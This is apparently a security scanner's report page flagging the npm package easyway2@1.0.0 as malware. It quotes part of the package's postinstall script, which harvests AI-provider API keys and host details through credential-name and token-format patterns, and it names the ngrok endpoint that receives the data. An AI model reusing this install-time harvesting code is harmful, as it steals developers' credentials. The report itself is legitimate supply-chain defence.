Loading npm security reports…

easyway2@1.0.0: Malicious npm security report (Block) | LPM Firewall

registry / easyway2 / 1.0.0

easyway2@1.0.0

AI Security Review

scanned 1h ago · by lpm-firewall-ai

Installing the package automatically runs a Node inline script. The script harvests AI-related environment credentials and host metadata, then sends them to a third-party ngrok endpoint.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

npm package installation, via `postinstall`.

Impact

Exposure of AI-provider API credentials and identifying host metadata.

Mechanism

install-time environment credential harvesting and HTTPS exfiltration

Attack narrative

On installation, the `postinstall` command executes inline Node code. It scans all environment variables for AI-provider credential names and recognizable OpenAI, Anthropic, Google, and Hugging Face token formats, adds platform, hostname, and username metadata, and POSTs the JSON payload to an external ngrok host. Errors are deliberately ignored, making the exfiltration quiet.

Rationale

Direct inspection of the sole packaged file confirms automatic install-time credential harvesting and external exfiltration. This is concrete malicious behavior, not a scanner-only inference.

Evidence

package.json

Network endpoints1

crabbing-thong-overhung.ngrok-free.dev/?Ai=1

Decision evidence

public snapshot

AI called this Malicious at 99.0% confidence as Malware with low false-positive risk.

Evidence for block

`package.json` defines an automatic `postinstall` hook.
The hook collects hostname, platform, and username.
It enumerates environment variables for AI-provider credential names and token patterns.
It POSTs collected data to `crabbing-thong-overhung.ngrok-free.dev`.
`|| true` suppresses installation errors after exfiltration.

Evidence against

Package contains only `package.json`; no legitimate runtime source or entry point is present.

Behavioral surface

SourceNo risky source behavior triggered.

Supply chainNo supply-chain packaging signals triggered.

Manifest

NoLicense

scanned 0 file(s), 0 B of source

Source & flagged code

2 flagged

package.jsonView file

Lines 1-10json

2 "name": "easyway2",

3 "version": "1.0.0",

4 "scripts": {

5 "postinstall": "node -e \"const os=require('os'),https=require('https');let d={platform:os.platform(),host:os.hostname(),user:process.env.USERNAME||process.env.USER,ai_keys:{}};const pt={openai:/sk-[a-zA-Z0-9]{20}T3BlbkFJ[a-zA-Z0-9]{20}/,anthropic:/sk-ant-api03-[a-zA-Z0-9\\-]{95}/,google:/AIza[a-zA-Z0-9_-]{35}/,hf:/hf_[a-zA-Z0-9]{34}/};for(const[k,v]of Object.entries(process.env)){if(/OPENAI|ANTHROPIC|GOOGLE_API|GEMINI|HF_TOKEN|HUGGINGFACE|AZURE_OPENAI_API/.test(k)){d.ai_keys[k]=v;}else if(typeof v==='string'){for(const[p,r]of Object.entries(pt)){if(r.test(v)){d.ai_keys[p+'_'+k]=v;break;}} ...

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg · L5

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L5

6 }

Long lines were clipped for display.

Source & flagged code

2 flagged · loading source

package.jsonView file

•scripts.postinstall = node -e "const os=require('os'),https=require('https');let d={platform:os.platform(),host:os.hostname(),user:process.env.USERNAME||process.env.USER,ai_keys:{}};const pt={openai:/sk...

Critical

Red Install Lifecycle Script

Install-time lifecycle script matches a deterministic static-gate block pattern.

package.jsonView on unpkg

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

Findings

1 Critical1 High2 Low

CriticalRed Install Lifecycle Scriptpackage.json

HighInstall Time Lifecycle Scriptspackage.json

LowScripts Present

LowNo License